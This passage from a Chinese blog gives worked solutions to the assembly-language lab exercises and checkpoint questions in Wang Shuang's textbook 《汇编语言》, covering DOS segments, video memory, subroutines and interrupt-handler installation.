    mov ax, 4c00hAX = 4C00H0000H
    int 21h__________

    结果不唯一

  3. PSP的头两个字节是CD 20,用Debug加载t1.exe,查看PSP的内容。

    1
    -d 2119:0

    2119为CS-0010H

实验4 [bx]和loop的使用

  1. 编程,向内存0:200~0:23F依此传送数据0~63(3FH)。

  2. 编程,向内存0:200~0:23F依此传送数据0~63(3FH),程序中只能使用9条指令,9条指令中包括“mov ax, 4c00h”和“int 21h”。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    assume cs:code
    code segment
    mov ax, 0020h
    mov ds, ax
    mov bx, 0
    mov cx, 64

    s: mov [bx], bl
    inc bl
    loop s

    mov ax, 4c00h
    int 21h
    code ends
    end
  3. 下面的程序的功能是将“mov ax, 4c00h”之前的指令复制到内存的0:200处,补全程序,上机调试,跟踪运行结果。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    assume cs:code
    code segment
    mov ax, _____
    mov ds, ax
    mov ax, 0020h
    mov es, ax
    mov bx, 0
    mov cx, _____
    s: mov al, [bx]
    mov es:[bx], al
    inc bx
    loop s
    mov ax, 4c00h
    int 21h
    code ends
    end

    结果:

    1
    2
    code
    18H

    提示:
    复制的是什么?从哪里到哪里?
    复制的是代码段中mov ax, 4c00h之前的代码,以数据的形式,从内存中代码段的位置复制到内存中0:200处开始的一段连续的空间。
    复制的是什么?有多少个字节?你如何直到要复制的字节的数量?
    可以用offset计算得出,也可以在Debug中用T命令观察得出。

实验5 编写、调试具有多个段的程序

  1. 将下面的程序编译连接,用Debug加载、跟踪,然后回答问题。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    assume cs:code, ds:data, ss:stack

    data segment
    dw 0123h, 0456h, 0789h, 0abch, 0defh, 0fedh, 0cbah, 0987h
    data ends

    stack segment
    dw 0, 0, 0, 0, 0, 0, 0, 0
    stack ends

    code segment
    start: mov ax, stack
    mov ss, ax
    mov sp, 16

    mov ax, data
    mov ds, ax

    push ds:[0]
    push ds:[2]
    pop ds:[2]
    pop ds:[0]

    mov ax, 4c00h
    int 21h
    code ends

    end start

    ①CPU执行程序,程序返回前,data段中的数据为多少?
    ②CPU执行程序,程序返回前,CS = _____、SS = _____、DS = _____。
    ③设程序加载后,code段的段地址为X,则data段的段地址为_____,stack段的段地址为_____。
    答案:
    ①data段中的数据不变。
    ②212B、212A、2129(答案不唯一)
    ③X-2、X-1

  2. 将下面的程序编译连接,用Debug加载、跟踪,然后回答问题。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    assume cs:code, ds:data, ss:stack

    data segment
    dw 0123h, 0456h
    data ends

    stack segment
    dw 0, 0
    stack ends

    code segment
    start: mov ax, stack
    mov ss, ax
    mov sp, 16

    mov ax, data
    mov ds, ax

    push ds:[0]
    push ds:[2]
    pop ds:[2]
    pop ds:[0]

    mov ax, 4c00h
    int 21h
    code ends

    end start

    (1)CPU执行程序,程序返回前,data段中的数据为多少?
    (2)CPU执行程序,程序返回前,CS = _____、SS = _____、DS = _____。
    (3)设程序加载后,code段的段地址为X,则data段的段地址为_____,stack段的段地址为_____。
    (4)对于如下定义的段:

    1
    2
    3
    name segment
    ...
    segment ends

    如果段中的数据占N个字节,则程序加载后,该段实际占有的空间为_____。
    答案:
    (1)data段中的数据不变。
    (2)212B、212A、2129(答案不唯一)
    (3)X-2、X-1
    (4)((N-1)/16 + 1)*16 其中除法为整除

  3. 将下面的程序编译连接,用Debug加载、跟踪,然后回答问题。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    assume cs:code, ds:data, ss:stack

    code segment
    start: mov ax, stack
    mov ss, ax
    mov sp, 16

    mov ax, data
    mov ds, ax

    push ds:[0]
    push ds:[2]
    pop ds:[2]
    pop ds:[0]

    mov ax, 4c00h
    int 21h
    code ends

    data segment
    dw 0123h, 0456h
    data ends

    stack segment
    dw 0, 0
    stack ends

    end start

    (1)CPU执行程序,程序返回前,data段中的数据为多少?
    (2)CPU执行程序,程序返回前,CS = _____、SS = _____、DS = _____。
    (3)设程序加载后,code段的段地址为X,则data段的段地址为_____,stack段的段地址为_____。
    答案:
    (1)data段中的数据不变。
    (2)2129、212D、212C(答案不唯一)
    (3)X+3、X+4

  4. 如果将1. 2. 3.题中的最后一条伪指令“end start”改为“end”(也就是说,不指明程序的入口),则哪个程序仍然可以正确执行?请说明原因。
    答案:
    只有程序3可以正确运行,在不指明程序入口的情况下,程序默认按照顺序从头开始执行,而3个程序中只有程序3的code段位于最开始的部分,所以只有程序3可以正确运行。

  5. 程序如下,编写code段中的代码,将a段和b段中的数据依此相加,将结果存到c段中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    assume cs:code
    a segment
    db 1, 2, 3, 4, 5, 6, 7, 8
    a ends

    b segment
    db 1, 2, 3, 4, 5, 6, 7, 8
    b ends

    c segment
    db 0, 0, 0, 0, 0, 0, 0, 0
    c ends

    code segment
    start:
    ?
    code ends
    end start

    答案:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    start:  mov ax, a
    mov ds, ax
    mov ax, b
    mov es, ax
    mov ax, c
    mov ss, ax
    mov bx, 0
    mov cx, 8
    s: mov al, [bx]
    add al, es:[bx]
    mov ss:[bx], al
    inc bx
    loop s
    mov ax, 4c00h
    int 21h
  6. 程序如下,编写code段中的代码,用push指令将a段中的前8个字型数据,逆序存储到b段中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    assume cs:code

    a segment
    dw 1, 2, 3, 4, 5, 6, 7, 8, 9, 0ah, 0bh, 0ch, 0dh, 0eh, 0fh, 0ffh
    a ends

    b segment
    dw 0, 0, 0, 0, 0, 0, 0, 0
    b ends

    code segment
    start:
    ?
    code ends

    end start

    答案:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    start:  mov ax, b
    mov ss, ax
    mov sp, 16
    mov ax, a
    mov ds, ax
    mov bx, 0
    mov cx, 8
    s: push [bx]
    add bx, 2
    loop s
    mov ax, 4c00h
    int 21h

实验6 实践课程中的程序

  1. 将课程中所有讲解过的程序上机调试,用Debug跟踪其执行过程,并在过程中进一步理解所讲内容。

  2. 编程,完成问题7.9中的程序。
    程序如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    assume cs:codesg, ss:stacksg, ds:datasg
    stacksg segment
    dw 0, 0, 0, 0, 0, 0, 0, 0
    stacksg ends

    datasg segment
    db '1. display '
    db '2. brows '
    db '3. replace '
    db '4. modify '
    datasg ends

    codesg segment
    start: mov ax, datasg
    mov ds, ax
    mov ax, stacksg
    mov ss, ax
    mov sp, 16
    mov bx, 0
    mov cx, 4
    s: push cx
    mov cx, 4
    mov si, 0
    s0: mov al, [bx + si + 3]
    and al, 11011111b
    mov [bx + si + 3], al
    inc si
    loop s0
    add bx, 16
    pop cx
    loop s
    mov ax, 4c00h
    int 21h
    codesg ends
    end start

实验7 寻址方式在结构化数据访问中的应用

编程,将data段中的数据按如下格式写入到table段中,并计算21年中的人均收入(取整),结果也按照下面的格式保存在table段中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
assume cs:codesg, ss:stack

stack segment
dw 8 dup (0)
stack ends

data segment
db '1975', '1976', '1977', '1978', '1979', '1980', '1981', '1982', '1983'
db '1984', '1985', '1986', '1987', '1988', '1989', '1990', '1991', '1992'
db '1993', '1994', '1995'

dd 16, 22, 382, 1356, 2390, 8000, 16000, 24486, 50065, 97479, 140417, 197514
dd 345980, 590827, 803530, 1183000, 1843000, 2759000, 3753000, 4649000, 5937000

dw 3, 7, 9, 13, 28, 38, 130, 220, 476, 778, 1001, 1442, 2258, 2793, 4037, 5635, 8226
dw 11542, 14430, 15257, 17800
data ends

table segment
db 21 dup ('year summ ne ?? ')
table ends

codesg segment
start: mov ax, stack
mov ss, ax
mov sp, 16
mov ax, table
mov ds, ax
mov ax, data
mov es, ax
mov bx, 0
mov si, 0
mov cx, 21
year: push cx
mov cx, 4
mov di, 0
char: mov al, es:[si]
mov [bx+di], al
inc si
inc di
loop char
add bx, 16
pop cx
loop year
mov cx, 21
mov bx, 0
income: mov ax, es:[si]
mov [5+bx], ax
add si, 2
mov ax, es:[si]
mov [7+bx], ax
add si, 2
add bx, 16
loop income
mov cx, 21
mov bx, 0
staff: mov ax, es:[si]
mov [10+bx], ax
add si, 2
add bx, 16
loop staff
mov cx, 21
mov bx, 0
average:mov ax, [bx+5]
mov dx, [bx+7]
div word ptr [bx+10]
mov [13+bx], ax
add bx, 16
loop average
mov ax, 4c00h
int 21h
codesg ends
end start

实验8 分析一个奇怪的程序

分析下面的程序,在运行前思考,这个程序可以正确返回吗?
运行后再思考:为什么是这种结果?
通过这个程序加深对相关内容的理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
assume cs:codesg
codesg segment
mov ax, 4c00h
int 21h
start: mov ax, 0
s: nop
nop
mov di, offset s
mov si, offset s2
mov ax, cs:[si]
mov cs:[di], ax
s0: jmp short s
s1: mov ax, 0
int 21h
mov ax, 0
s2: jmp short s1
nop
codesg ends
end start

分析:
这个程序可以正确返回,程序的入口为mov ax, 0,注意到指令jmp short s1占2字节,于是指令mov di, offset s将s的偏移地址传送到寄存器DI,mov si, offset s2将s2的偏移地址传送到SI,然后再通过通用寄存器ax做中转将s2处的指令复制到s处,最后再跳转至s处执行复制过来的指令。
注意jmp short s1是相对跳转,其直接修改IP寄存器,从s2到s1共有8个字节的偏移,实际上 jmp short s1等价于(ip)=(ip)-8,通过Debug可知第一个nop指令的偏移地址为8,所以再执行了复制过的指令后,IP将指向0,程序按照顺序执行mov ax, 4c00h和int 21h,正确返回。

实验9 根据材料编程

编程:在屏幕中间分别显示绿色、绿底红色、白底蓝色的字符串’welcome to masm!’。
编程所需的只是通过阅读、分析下面的材料获得。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
assume ds:data, cs:code

data segment
db 'welcome to masm!'
data ends

code segment
start: mov ax, data
mov ds, ax
mov ax, 0B800H
mov es, ax

mov bx, 1664
mov si, 0
mov cx, 16
char1: mov al, [si]
mov ah, 10000010B
mov es:[bx], ax
add bx, 2
inc si
loop char1

mov bx, 1824
mov si, 0
mov cx, 16
char2: mov al, [si]
mov ah, 10100100B
mov es:[bx], ax
add bx, 2
inc si
loop char2

mov bx, 1984
mov si, 0
mov cx, 16
char3: mov al, [si]
mov ah, 11110001B
mov es:[bx], ax
add bx, 2
inc si
loop char3

mov ax, 4C00H
int 21H
code ends
end start

实验10 编写子程序

  1. 显示字符串

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    assume cs:code, ss:stack

    stack segment
    dw 16 dup (0)
    stack ends

    data segment
    db 'Welcome to masm!', 0
    data ends

    code segment
    start: mov dh, 8
    mov dl, 3
    mov cl, 2
    mov ax, data
    mov ds, ax
    mov ax, stack
    mov ss, ax
    mov sp, 32
    mov si, 0
    call show_str

    mov ax, 4c00h
    int 21h

    show_str:
    push cx
    push bx
    push ax
    push si
    push di
    push es
    ;using cx, bx, ax, si, di, es
    mov ax, 0b800h
    mov es, ax
    mov bx, 0
    mov di, 0
    mov al, 160
    mul dh
    add bx, ax
    mov al, 2
    mul dl
    add bx, ax ;bx stores address of start character
    mov al, cl ;al stores the color of character
    char: mov ch, 0
    mov cl, ds:[si]
    jcxz zero
    mov ch, al
    mov es:[bx+di], cx
    add di, 2
    inc si
    jmp char
    zero: pop es
    pop di
    pop si
    pop ax
    pop bx
    pop cx
    ret

    code ends
    end start
  2. 解决除法溢出的问题

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    assume cs:code, ss:stack

    stack segment
    dw 16 dup (0)
    stack ends

    code segment
    start: mov ax, stack
    mov ss, ax
    mov sp, 32
    mov ax, 4240h
    mov dx, 000fh
    mov cx, 0ah
    call divdw

    mov ax, 4c00h
    int 21h

    divdw: push bx

    mov bx, ax ; bx stores L
    mov ax, dx ; ax stores H
    mov dx, 0
    div cx ; after div, ax holds int(H/N), dx holds rem(H/N)
    push ax ; push int(H/N) temporarily
    mov ax, bx ; ax stores L
    div cx
    mov cx, dx
    pop dx

    pop bx
    ret

    code ends
    end start
  3. 数值显示

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    assume cs:code, ss:stack

    stack segment
    dw 16 dup (0)
    stack ends

    data segment
    db 10 dup (0)
    data ends

    code segment
    start: mov ax, data
    mov ds, ax
    mov ax, stack
    mov ss, ax
    mov sp, 32
    mov ax, 12666
    mov si, 0
    call dtoc

    mov dh, 8
    mov dl, 3
    mov cl, 2
    call show_str

    mov ax, 4c00h
    int 21h

    dtoc: push ax
    push si
    push di
    push dx
    push bx
    push cx
    mov di, 0
    mov dx, 0
    mov bx, 10

    devide: mov cx, ax
    jcxz stop
    div bx
    inc di
    push dx
    mov dx, 0
    jmp devide
    stop: mov cx, di
    string: pop bx
    add bx, 30h
    mov [si], bl
    inc si
    loop string

    pop cx
    pop bx
    pop dx
    pop di
    pop si
    pop ax
    ret

    show_str:
    push cx
    push bx
    push ax
    push si
    push di
    push es
    ;using cx, bx, ax, si, di, es
    mov ax, 0b800h
    mov es, ax
    mov bx, 0
    mov di, 0
    mov al, 160
    mul dh
    add bx, ax
    mov al, 2
    mul dl
    add bx, ax ;bx stores address of start character
    mov al, cl ;al stores the color of character
    char: mov ch, 0
    mov cl, ds:[si]
    jcxz zero
    mov ch, al
    mov es:[bx+di], cx
    add di, 2
    inc si
    jmp char
    zero: pop es
    pop di
    pop si
    pop ax
    pop bx
    pop cx
    ret

    code ends
    end start

实验11 编写子程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
assume cs:code

stack segment
dw 8 dup (0)
stack ends

data segment
db "Beginner's All-purpose Symbolic Instruction Code.", 0
data ends

code segment
begin: mov ax, stack
mov ss, ax
mov sp, 16
mov ax, data
mov ds, ax
mov si, 0
call letterc

mov ax, 4c00h
int 21h

letterc:
push cx
push si
pushf

mov ch, 0
start: mov cl, ds:[si]
jcxz zero
cmp cl, 97
jb next
cmp cl, 122
ja next
sub cl, 20h
mov ds:[si], cl
next: inc si
jmp start

zero: popf
pop si
pop cx
ret

code ends
end begin

实验12 编写0号中断的处理程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
assume cs:code

code segment
start:
mov ax, cs
mov ds, ax
mov si, offset do0

mov ax, 0
mov es, ax
mov di, 200h

mov cx, offset do0end - offset do0

cld

rep movsb

mov ax, 0
mov es, ax
mov word ptr es:[0], 200h
mov word ptr es:[2], 0

mov ax, 4c00h
int 21h

do0:
jmp short do0start
db "overflow!"
do0start:
mov ax, cs
mov ds, ax
mov si, 202h
mov ax, 0b800h
mov es, ax
mov di, 12*160+36*2
mov cx, 9
s:
mov al, [si]
mov es:[di], al
inc si
add di, 2
loop s

mov ax, 4c00h
int 21h
do0end:
nop

code ends
end start

实验13 编写、应用中断例程

  1. 编写并安装int 7ch中断例程,功能为显示一个用0结束的字符串,中断例程安装在0:200处。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    assume cs:code

    code segment
    start: mov ax, cs
    mov ds, ax
    mov si, offset print
    mov ax, 0
    mov es, ax
    mov di, 200h
    mov cx, offset printend - offset print
    cld
    rep movsb

    mov ax, 0
    mov es, ax
    mov word ptr es:[7ch * 4], 200h
    mov word ptr es:[7ch * 4 + 2], 0
    mov ax, 4c00h
    int 21h

    print:
    push es
    push ax
    push cx
    push dx
    push si
    push di

    mov ax, 0b800h
    mov es, ax
    mov al, 160
    mov ah, 0
    mul dh
    mov di, ax
    add dl, dl
    mov dh, 0
    add di, dx

    mov al, cl
    printstart:
    mov ch, 0
    mov cl, [si]
    jcxz zero
    mov ch, al
    mov es:[di], cx
    add di, 2
    inc si
    jmp printstart

    zero:
    pop di
    pop si
    pop dx
    pop cx
    pop ax
    pop es
    iret
    printend:
    nop

    code ends

    end start
  2. 编写并安装int 7ch中断例程,功能为完成loop指令功能。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    assume cs:code

    code segment
    start: mov ax, cs
    mov ds, ax
    mov si, offset lp
    mov ax, 0
    mov es, ax
    mov di, 200h
    mov cx, offset lpend - offset lp
    cld
    rep movsb

    mov ax, 0
    mov es, ax
    mov word ptr es:[7ch * 4], 200h
    mov word ptr es:[7ch * 4 + 2], 0
    mov ax, 4c00h
    int 21h

    lp: push bp
    mov bp, sp
    dec cx
    jcxz lpret
    add [bp + 2], bx
    lpret: pop bp
    iret
    lpend: nop

    code ends

    end start
  3. 下面的程序,分别在屏幕的第2、4、6、8行显示4句英文诗,补全程序。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    assume cs:code
    code segment
    s1: db 'Good,better,best,', '$'
    s2: db 'Never let it rest,', '$'
    s3: db 'Till good is better,', '$'
    s4: db 'And better,best.', '$'
    s: dw offset s1, offset s2, offset s3, offset s4
    row: db 2, 4, 6, 8

    start: mov ax, cs
    mov ds, ax
    mov bx, offset s
    mov si, offset row
    mov cx, 4
    ok: mov bh, 0
    mov dh, _____
    mov dl, 0
    mov ah, 2
    int 10h

    mov dx, _____
    mov ah, 9
    int 21h
    _________
    _________
    loop ok
    mov ax, 4c00h
    int 21h
    code ends
    end start

    答案:

    1
    2
    3
    4
    [si]
    [bx]
    add bx, 2
    inc si

实验14 访问CMOS RAM

编程,以”年/月/日 时:分:秒”的格式,显示当前的日期,时间。
注意:CMOS RAM中存储着系统的配置信息,出了保存时间信息的单元外,不要向其他的单元中写入内容,否则将引起一些系统错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
assume cs:code, ds:data

data segment
s db 9, 8, 7, 4, 2, 0
data ends
code segment
start: mov ax, 0b800h
mov es, ax
mov di, 160 * 12
mov ax, data
mov ds, ax
mov si, 0
mov cx, 6

print: mov al, s[si]
out 70h, al
in al, 71h
call number
cmp si, 2
jb slash
je space
cmp si, 5
jb colon
next: inc si
loop print

mov ax, 4c00h
int 21h

;al->number, es:di->begin
number: push cx
mov ah, al
mov cl, 4
shr ah, cl
and al, 00001111b
add ah, 30h
add al, 30h
mov byte ptr es:[di], ah
mov byte ptr es:[di + 2], al
add di, 4
pop cx
ret

slash: mov byte ptr es:[di], '\'
add di, 2
jmp next

colon: mov byte ptr es:[di], ':'
add di, 2
jmp next

space: mov byte ptr es:[di], ' '
add di, 2
jmp next

code ends

end start

实验15 安装新的int 9中断例程

安装一个新的int 9中断例程,功能:在DOS下,按下’A’键后,除非不再松开,如果松开,就显示满屏幕的’A’;其他键照常处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
assume cs:code

stack segment
db 128 dup (0)
stack ends

code segment
start: mov ax, stack
mov ss, ax
mov sp, 128

push cs
pop ds

mov ax, 0
mov es, ax

mov si, offset int9
mov di, 204h
mov cx, offset int9end - offset int9
cld
rep movsb

push es: [9 * 4]
pop es: [200h]
push es: [9 * 4 + 2]
pop es: [202h]

cli
mov word ptr es: [9 * 4], 204h
mov word ptr es: [9 * 4 + 2], 0
sti

mov ax, 4c00h
int 21h

int9: push ax
push bx
push cx
push es

in al, 60h

pushf
call word ptr cs:[200h]

cmp al, 9eh
jne int9ret

mov ax, 0b800h
mov es, ax
mov bx, 0
mov cx, 2000
s: mov byte ptr es:[bx], 'A'
add bx, 2
loop s

int9ret:pop es
pop cx
pop bx
pop ax
iret

int9end:nop

code ends
end start

实验16 编写包含多个功能子程序的中断例程

安装一个新的int 7ch中断例程,为显示输出提供如下功能子程序

  1. 清屏
  2. 设置前景色
  3. 设置背景色
  4. 向上滚动一行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
assume cs:code

code segment
start: mov ax, cs
mov ds, ax
mov si, offset screen
mov ax, 0
mov es, ax
mov di, 200h
mov cx, offset screenend - offset screen
cld
rep movsb

mov ax, 0
mov es, ax
mov word ptr es:[7ch * 4], 200h
mov word ptr es:[7ch * 4 + 2], 0
mov ax, 4c00h
int 21h

screen: jmp short set
;考虑到安装中断例程后偏移地址发生了变化,需要重新计算相关的偏移地址
table dw offset sub1 - offset screen + 200h, offset sub2 - offset screen + 200h, offset sub3 - offset screen + 200h, offset sub4 - offset screen + 200h

set: push bx

cmp ah, 3
ja sret
mov bl, ah
mov bh, 0
add bx, bx

;同上
call word ptr cs:(table - screen + 200h)[bx]

sret: pop bx
iret

sub1: push bx
push cx
push es
mov bx, 0b800h
mov es, bx
mov bx, 0
mov cx, 2000
sub1s: mov byte ptr es:[bx], ' '
add bx, 2
loop sub1s
pop es
pop cx
pop bx
ret

sub2: push bx
push cx
push es

mov bx, 0b800h
mov es, bx
mov bx, 1
mov cx, 2000
sub2s: and byte ptr es:[bx], 11111000B
or es:[bx], al
add bx, 2
loop sub2s

pop es
pop cx
pop bx
ret

sub3: push bx
push cx
push es
mov cl, 4
shl al, cl
mov bx, 0b800h
mov es, bx
mov bx, 1
mov cx, 2000
sub3s: and byte ptr es:[bx], 10001111B
or es:[bx], al
add bx, 2
loop sub3s
pop es
pop cx
pop bx
ret

sub4: push cx
push si
push di
push es
push ds

mov si, 0b800h
mov es, si
mov ds, si
mov si, 160
mov di, 0
cld
mov cx, 24
sub4s: push cx
mov cx, 160
rep movsb
pop cx
loop sub4s

mov cx, 80
mov si, 0
sub4s1: mov byte ptr [160*24+si], ' '
add si, 2
loop sub4s1

pop ds
pop es
pop di
pop si
pop cx
ret

screenend:
nop

code ends
end start

参考王爽《汇编语言》实验16:包含多个功能子程序的中断例程 解答
可以用伪指令org x简化该程序
org x表明接下来的指令从偏移地址x开始
修改后的相关指令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
org 200h
screen: jmp short set

table dw sub1, sub2, sub3, sub4

set: push bx

cmp ah, 3
ja sret
mov bl, ah
mov bh, 0
add bx, bx

call word ptr table[bx]

实验17 编写包含多个功能子程序的中断例程

安装一个新的int 7ch中断例程,实现通过逻辑扇区号对软盘进行读写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
assume cs:code

code segment
start: mov ax, cs
mov ds, ax
mov si, offset floppyio
mov ax, 0
mov es, ax
mov di, 200h
mov cx, offset floppyioend - offset floppyio
cld
rep movsb

mov ax, 0
mov es, ax
mov word ptr es:[7ch * 4], 200h
mov word ptr es:[7ch * 4 + 2], 0
mov ax, 4c00h
int 21h

floppyio:
push ax
push cx
push dx

add ah, 2
mov al, 1
push ax ;计算相应的ah和al并压栈
mov ax, dx
mov dx, 0
mov cx, 1440
div cx ;计算逻辑扇区号/1440
push ax ;将商即面号压栈
mov ax, dx
mov dl, 18
div dl ;计算逻辑扇区号/1440的余数/18
inc ah
mov ch, al
mov cl, ah ;设置相应的ch和cl
pop ax ;将相应的面号出栈
mov dh, al
mov dl, 0 ;设置相应的dh和dl
pop ax ;将相应的ah和al出栈
int 13h ;调用13h例程进行实际的读写

pop dx
pop cx
pop ax
iret
floppyioend:
nop

code ends
end start

评论和共享

开学三周,王爽的《汇编语言》(第三版)总算是基本上看完了,本文是总结的第一部分,包括了书上所有的检测点答案

第一章 基础知识

检测点 1.1

  1. 1个CPU的寻址能力为8KB,那么它的地址总线的宽度为____。
    13
    解析:CPU在内存中寻址的最小单位是Byte(字节),8KB = 2^13B,因此地址总线的宽度为13.
  2. 1KB的存储器有____个存储单元。存储单元的编号从____到____。
    1024 0 1023
  3. 1KB的存储器可以存储____个bit,____个Byte。
    2^13 2^10
  4. 1GB、1MB、1KB分别是____________Byte
    2^30 2^20 2^10
  5. 8080、8088、80286、80386的地址总线宽度分别为16根、20根、24根、32根,则他们的寻址能力分别为____(KB)、____(MB)、____(MB)、____(GB)。
    64 1 16 4
  6. 8080、8088、8086、80286、80386的数据总线宽度分别为8根、8根、16根、16根、32根。则它们一次可以传送的数据为:____(B)、____(B)、____(B)、____(B)、____(B)。
    1 1 2 2 4
  7. 从内存中读取1024字节的数据,8086至少要读取____次,80386至少要读取____次。
    512 256
  8. 在存储器中,数据和程序以____形式存放。
    二进制

第二章 寄存器

检测点 2.1

  1. 写出每条汇编指令执行后相关寄存器中的值
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    mov ax, 62627		AX =
    mov ah, 31H AX =
    mov al, 23H AX =
    add ax, ax AX =
    mov bx, 826CH BX =
    mov cx, ax CX =
    mov ax, bx AX =
    add ax, bx AX =
    mov al, bh AX =
    mov ah, bl AX =
    add ah, ah AX =
    add al, 6 AX =
    add al, al AX =
    mov ax, cx AX =
    F4A3H 31A3H 3123H 6246H 826CH 6246H 826CH 04D8H 0482H 6C82H D882H D888H D810H 6246H
  2. 只能使用目前学过的汇编指令,最多使用4条指令,编程计算2的4次方。
    1
    2
    3
    4
    mov ax, 2
    add ax, ax
    add ax, ax
    add ax, ax

检测点 2.2

  1. 给定段地址为0001H,仅通过变化偏移地址寻址,CPU的寻址范围为_____到_____。
    00010H到1000FH
  2. 有一数据存放在内存20000H的单元中,现给定段地址为SA,若想用偏移地址寻到此单元。则SA应满足的条件是:最小为_____,最大为_____。提示,反过来思考一下,当段地址给定为多少,CPU无论怎么变化偏移地址都无法寻到20000H单元?
    1001F 2000H
    20000H - 0FFFFH = 10001H
    20000H - 00000H = 20000H

检测点 2.3

下面的3条指令执行后,CPU几次修改IP?都是在什么时候?最后IP中的值是多少?

1
2
3
mov ax, bx
sub ax, ax
jmp ax

修改了四次:

  1. 第1条指令执行后,IP指向第2条指令
  2. 第2条指令执行后,IP指向第3条指令
  3. 第3条指令执行后,IP指向第4条指令
  4. JMP指令执行后,IP重新指向第1条指令

第三章 寄存器(内存访问)

检测点 3.1

  1. 在Debug中,用“d 0:0 1f”查看内存,结果如下。

    1
    2
    0000:0000 70 80 F0 30 EF 60 30 E2-00 80 80 12 66 20 22 60
    0000:0010 62 26 E6 D6 CC 2E 3C 3B-AB BA 00 00 26 06 66 88

    下面的程序执行前,AX=0,BX=0,写出每条汇编指令执行完后相关寄存器中的值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    mov ax, 1
    mov ds, ax
    mov ax, [0000] AX =
